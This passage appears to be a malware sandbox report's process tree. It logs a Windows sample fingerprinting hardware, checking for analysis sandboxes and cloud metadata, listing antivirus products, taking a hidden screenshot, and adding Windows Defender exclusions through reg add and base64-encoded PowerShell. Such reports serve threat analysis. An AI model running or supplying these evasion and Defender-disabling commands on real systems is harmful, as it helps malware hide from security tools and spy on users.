  C:\Windows\system32\cmd.exe /d /s /c "wmic bios get manufacturer,version,serialnumber,smbiosbiosversion /format:list"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:416
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic bios get manufacturer,version,serialnumber,smbiosbiosversion /format:list
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:1000
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "wmic computersystem get manufacturer,model,systemfamily /format:list"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3616
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic computersystem get manufacturer,model,systemfamily /format:list
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:1500
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "tasklist /FO CSV /NH"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3684
- - C:\Windows\system32\tasklist.exe
    tasklist /FO CSV /NH
    3⤵
    - Enumerates processes with tasklist
    PID:2376
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "wmic path win32_videocontroller get name,description /format:list"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5476
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic path win32_videocontroller get name,description /format:list
    3⤵
    - Detects videocard installed
    - Suspicious behavior: EnumeratesProcesses
    PID:5608
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "wmic diskdrive get model,caption /format:list"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1420
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic diskdrive get model,caption /format:list
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:3484
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "wmic csproduct get name /format:list"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3224
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic csproduct get name /format:list
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:2640
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "wmic computersystem get name /format:list"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2116
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic computersystem get name /format:list
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:4484
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Sandboxie""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5032
- - C:\Windows\system32\reg.exe
    reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Sandboxie"
    3⤵
    PID:2916
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SOFTWARE\CWSandbox""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5188
- - C:\Windows\system32\reg.exe
    reg query "HKLM\SOFTWARE\CWSandbox"
    3⤵
    PID:4576
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SOFTWARE\JoeSecurityBox""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4944
- - C:\Windows\system32\reg.exe
    reg query "HKLM\SOFTWARE\JoeSecurityBox"
    3⤵
    PID:6092
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SOFTWARE\HybridAnalysis""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2636
- - C:\Windows\system32\reg.exe
    reg query "HKLM\SOFTWARE\HybridAnalysis"
    3⤵
    PID:5684
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -Command "try{(Invoke-WebRequest -Uri http://169.254.169.254/computeMetadata/v1/ -Headers @{'Metadata-Flavor'='Google'} -TimeoutSec 2 -UseBasicParsing).StatusCode}catch{0}""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1748
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -Command "try{(Invoke-WebRequest -Uri http://169.254.169.254/computeMetadata/v1/ -Headers @{'Metadata-Flavor'='Google'} -TimeoutSec 2 -UseBasicParsing).StatusCode}catch{0}"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:4376
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -Command "try{(Invoke-WebRequest -Uri http://169.254.169.254/metadata/instance?api-version=2021-02-01 -Headers @{Metadata='true'} -TimeoutSec 2 -UseBasicParsing).StatusCode}catch{0}""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2748
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -Command "try{(Invoke-WebRequest -Uri http://169.254.169.254/metadata/instance?api-version=2021-02-01 -Headers @{Metadata='true'} -TimeoutSec 2 -UseBasicParsing).StatusCode}catch{0}"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:5528
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -Command "try{(Invoke-WebRequest -Uri http://169.254.169.254/latest/meta-data/ -TimeoutSec 2 -UseBasicParsing).StatusCode}catch{0}""
  2⤵
  PID:5728
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -Command "try{(Invoke-WebRequest -Uri http://169.254.169.254/latest/meta-data/ -TimeoutSec 2 -UseBasicParsing).StatusCode}catch{0}"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:5584
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -Command "(Invoke-WebRequest -Uri https://api.ipify.org -TimeoutSec 5 -UseBasicParsing).Content""
  2⤵
  PID:244
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -Command "(Invoke-WebRequest -Uri https://api.ipify.org -TimeoutSec 5 -UseBasicParsing).Content"
    3⤵
    - Badlisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:2612
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "net session"
  2⤵
  PID:5056
- - C:\Windows\system32\net.exe
    net session
    3⤵
    PID:2184
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 session
      4⤵
      PID:3528
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "wscript.exe //B //Nologo "C:\Users\Admin\AppData\Local\Temp\wmi_5eb84ceb.vbs""
  2⤵
  PID:820
- - C:\Windows\system32\wscript.exe
    wscript.exe //B //Nologo "C:\Users\Admin\AppData\Local\Temp\wmi_5eb84ceb.vbs"
    3⤵
    PID:5268
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Installer.exe" /t REG_DWORD /d 0 /f"
  2⤵
  PID:5912
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Installer.exe" /t REG_DWORD /d 0 /f
    3⤵
    - Windows security bypass
    PID:4056
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg add "HKCU\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Installer.exe" /t REG_DWORD /d 0 /f"
  2⤵
  PID:4228
- - C:\Windows\system32\reg.exe
    reg add "HKCU\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Installer.exe" /t REG_DWORD /d 0 /f
    3⤵
    PID:6092
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783138754614" /t REG_DWORD /d 0 /f"
  2⤵
  PID:1860
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783138754614" /t REG_DWORD /d 0 /f
    3⤵
    - Windows security bypass
    PID:3872
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg add "HKCU\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783138754614" /t REG_DWORD /d 0 /f"
  2⤵
  PID:5204
- - C:\Windows\system32\reg.exe
    reg add "HKCU\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783138754614" /t REG_DWORD /d 0 /f
    3⤵
    PID:3948
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Setup\cache" /t REG_DWORD /d 0 /f"
  2⤵
  PID:5768
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Setup\cache" /t REG_DWORD /d 0 /f
    3⤵
    - Windows security bypass
    PID:2920
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg add "HKCU\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Setup\cache" /t REG_DWORD /d 0 /f"
  2⤵
  PID:3004
- - C:\Windows\system32\reg.exe
    reg add "HKCU\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Setup\cache" /t REG_DWORD /d 0 /f
    3⤵
    PID:2832
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783138754614\component_1.exe" /t REG_DWORD /d 0 /f"
  2⤵
  PID:544
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783138754614\component_1.exe" /t REG_DWORD /d 0 /f
    3⤵
    - Windows security bypass
    PID:4576
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg add "HKCU\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783138754614\component_1.exe" /t REG_DWORD /d 0 /f"
  2⤵
  PID:5796
- - C:\Windows\system32\reg.exe
    reg add "HKCU\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783138754614\component_1.exe" /t REG_DWORD /d 0 /f
    3⤵
    PID:5896
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783138754614\component_2.exe" /t REG_DWORD /d 0 /f"
  2⤵
  PID:296
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783138754614\component_2.exe" /t REG_DWORD /d 0 /f
    3⤵
    - Windows security bypass
    PID:4744
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg add "HKCU\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783138754614\component_2.exe" /t REG_DWORD /d 0 /f"
  2⤵
  PID:5680
- - C:\Windows\system32\reg.exe
    reg add "HKCU\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783138754614\component_2.exe" /t REG_DWORD /d 0 /f
    3⤵
    PID:3060
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Extensions" /v ".exe" /t REG_DWORD /d 0 /f"
  2⤵
  PID:3912
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Extensions" /v ".exe" /t REG_DWORD /d 0 /f
    3⤵
    - Windows security bypass
    PID:6112
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Extensions" /v ".tmp" /t REG_DWORD /d 0 /f"
  2⤵
  PID:1184
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Extensions" /v ".tmp" /t REG_DWORD /d 0 /f
    3⤵
    - Windows security bypass
    PID:1228
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes" /v "component_1.exe" /t REG_DWORD /d 0 /f"
  2⤵
  PID:4520
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes" /v "component_1.exe" /t REG_DWORD /d 0 /f
    3⤵
    - Windows security bypass
    PID:5108
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes" /v "component_2.exe" /t REG_DWORD /d 0 /f"
  2⤵
  PID:5456
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes" /v "component_2.exe" /t REG_DWORD /d 0 /f
    3⤵
    - Windows security bypass
    PID:3748
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -NonInteractive -ExecutionPolicy Bypass -EncodedCommand QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACcAQwA6AFwAVQBzAGUAcgBzAFwAQQBkAG0AaQBuAFwAQQBwAHAARABhAHQAYQBcAEwAbwBjAGEAbABcAFQAZQBtAHAAXABJAG4AcwB0AGEAbABsAGUAcgAuAGUAeABlACcAIAAtAEYAbwByAGMAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACcAQwA6AFwAVQBzAGUAcgBzAFwAQQBkAG0AaQBuAFwAQQBwAHAARABhAHQAYQBcAEwAbwBjAGEAbABcAFQAZQBtAHAAXABTAGUAdAB1AHAAXABjAGEAYwBoAGUAXAAxADcAOAAzADEAMwA4ADcANQA0ADYAMQA0ACcAIAAtAEYAbwByAGMAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACcAQwA6AFwAVQBzAGUAcgBzAFwAQQBkAG0AaQBuAFwAQQBwAHAARABhAHQAYQBcAEwAbwBjAGEAbABcAFQAZQBtAHAAXABTAGUAdAB1AHAAXABjAGEAYwBoAGUAJwAgAC0ARgBvAHIAYwBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlADsAIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAJwBDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcAFMAZQB0AHUAcABcAGMAYQBjAGgAZQBcADEANwA4ADMAMQAzADgANwA1ADQANgAxADQAXABjAG8AbQBwAG8AbgBlAG4AdABfADEALgBlAHgAZQAnACAALQBGAG8AcgBjAGUAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAOwAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgAIAAnAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABMAG8AYwBhAGwAXABUAGUAbQBwAFwAUwBlAHQAdQBwAFwAYwBhAGMAaABlAFwAMQA3ADgAMwAxADMAOAA3ADUANAA2ADEANABcAGMAbwBtAHAAbwBuAGUAbgB0AF8AMgAuAGUAeABlACcAIAAtAEYAbwByAGMAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4ARQB4AHQAZQBuAHMAaQBvAG4AIAAnAC4AZQB4AGUAJwAgAC0ARgBvAHIAYwBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlADsAIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBFAHgAdABlAG4AcwBpAG8AbgAgACcALgB0AG0AcAAnACAALQBGAG8AcgBjAGUAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAOwAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAcgBvAGMAZQBzAHMAIAAnAGMAbwBtAHAAbwBuAGUAbgB0AF8AMQAuAGUAeABlACcAIAAtAEYAbwByAGMAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUAByAG8AYwBlAHMAcwAgACcAYwBvAG0AcABvAG4AZQBuAHQAXwAyAC4AZQB4AGUAJwAgAC0ARgBvAHIAYwBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlAA=="
  2⤵
  PID:588
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -NonInteractive -ExecutionPolicy Bypass -EncodedCommand QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACcAQwA6AFwAVQBzAGUAcgBzAFwAQQBkAG0AaQBuAFwAQQBwAHAARABhAHQAYQBcAEwAbwBjAGEAbABcAFQAZQBtAHAAXABJAG4AcwB0AGEAbABsAGUAcgAuAGUAeABlACcAIAAtAEYAbwByAGMAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACcAQwA6AFwAVQBzAGUAcgBzAFwAQQBkAG0AaQBuAFwAQQBwAHAARABhAHQAYQBcAEwAbwBjAGEAbABcAFQAZQBtAHAAXABTAGUAdAB1AHAAXABjAGEAYwBoAGUAXAAxADcAOAAzADEAMwA4ADcANQA0ADYAMQA0ACcAIAAtAEYAbwByAGMAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACcAQwA6AFwAVQBzAGUAcgBzAFwAQQBkAG0AaQBuAFwAQQBwAHAARABhAHQAYQBcAEwAbwBjAGEAbABcAFQAZQBtAHAAXABTAGUAdAB1AHAAXABjAGEAYwBoAGUAJwAgAC0ARgBvAHIAYwBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlADsAIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAJwBDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcAFMAZQB0AHUAcABcAGMAYQBjAGgAZQBcADEANwA4ADMAMQAzADgANwA1ADQANgAxADQAXABjAG8AbQBwAG8AbgBlAG4AdABfADEALgBlAHgAZQAnACAALQBGAG8AcgBjAGUAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAOwAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgAIAAnAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABMAG8AYwBhAGwAXABUAGUAbQBwAFwAUwBlAHQAdQBwAFwAYwBhAGMAaABlAFwAMQA3ADgAMwAxADMAOAA3ADUANAA2ADEANABcAGMAbwBtAHAAbwBuAGUAbgB0AF8AMgAuAGUAeABlACcAIAAtAEYAbwByAGMAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4ARQB4AHQAZQBuAHMAaQBvAG4AIAAnAC4AZQB4AGUAJwAgAC0ARgBvAHIAYwBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlADsAIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBFAHgAdABlAG4AcwBpAG8AbgAgACcALgB0AG0AcAAnACAALQBGAG8AcgBjAGUAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAOwAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAcgBvAGMAZQBzAHMAIAAnAGMAbwBtAHAAbwBuAGUAbgB0AF8AMQAuAGUAeABlACcAIAAtAEYAbwByAGMAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUAByAG8AYwBlAHMAcwAgACcAYwBvAG0AcABvAG4AZQBuAHQAXwAyAC4AZQB4AGUAJwAgAC0ARgBvAHIAYwBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlAA==
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:4160
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "wmic /namespace:\\root\SecurityCenter2 path AntiVirusProduct get displayName /format:list"
  2⤵
  PID:5800
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic /namespace:\\root\SecurityCenter2 path AntiVirusProduct get displayName /format:list
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:4604
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -WindowStyle Hidden -Command "Add-Type -AssemblyName System.Windows.Forms; $b = [System.Drawing.Rectangle]::FromLTRB(0, 0, [System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Width, [System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Height); $bmp = New-Object System.Drawing.Bitmap($b.Width, $b.Height); $g = [System.Drawing.Graphics]::FromImage($bmp); $g.CopyFromScreen($b.Location, [System.Drawing.Point]::Empty, $b.Size); $bmp.Save(\"C:\\Users\\Admin\\AppData\\Local\\Temp\\scr_1783138774352.png\"); $g.Dispose(); $bmp.Dispose()""
  2⤵
  - Hide Artifacts: Hidden Window
  PID:2872
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -WindowStyle Hidden -Command "Add-Type -AssemblyName System.Windows.Forms; $b = [System.Drawing.Rectangle]::FromLTRB(0, 0, [System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Width, [System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Height); $bmp = New-Object System.Drawing.Bitmap($b.Width, $b.Height); $g = [System.Drawing.Graphics]::FromImage($bmp); $g.CopyFromScreen($b.Location, [System.Drawing.Point]::Empty, $b.Size); $bmp.Save(\"C:\\Users\\Admin\\AppData\\Local\\Temp\\scr_1783138774352.png\"); $g.Dispose(); $bmp.Dispose()"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:2480
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Installer.exe""
  2⤵
  PID:4400
- - C:\Windows\system32\reg.exe
    reg query "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Installer.exe"
    3⤵
    PID:2436
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783138754614""
  2⤵
  PID:6120
- - C:\Windows\system32\reg.exe
    reg query "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783138754614"
    3⤵
    PID:4464
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Setup\cache""
  2⤵
  PID:5212
- - C:\Windows\system32\reg.exe
    reg query "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Setup\cache"
    3⤵
    PID:1852
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783138754614\component_1.exe""
  2⤵
  PID:3804
- - C:\Windows\system32\reg.exe
    reg query "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783138754614\component_1.exe"
    3⤵
    PID:108
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783138754614\component_2.exe""
  2⤵
  PID:1896
- - C:\Windows\system32\reg.exe
    reg query "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783138754614\component_2.exe"
    3⤵
    PID:1236
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783138754614\component_1.exe' -ErrorAction SilentlyContinue""
  2⤵
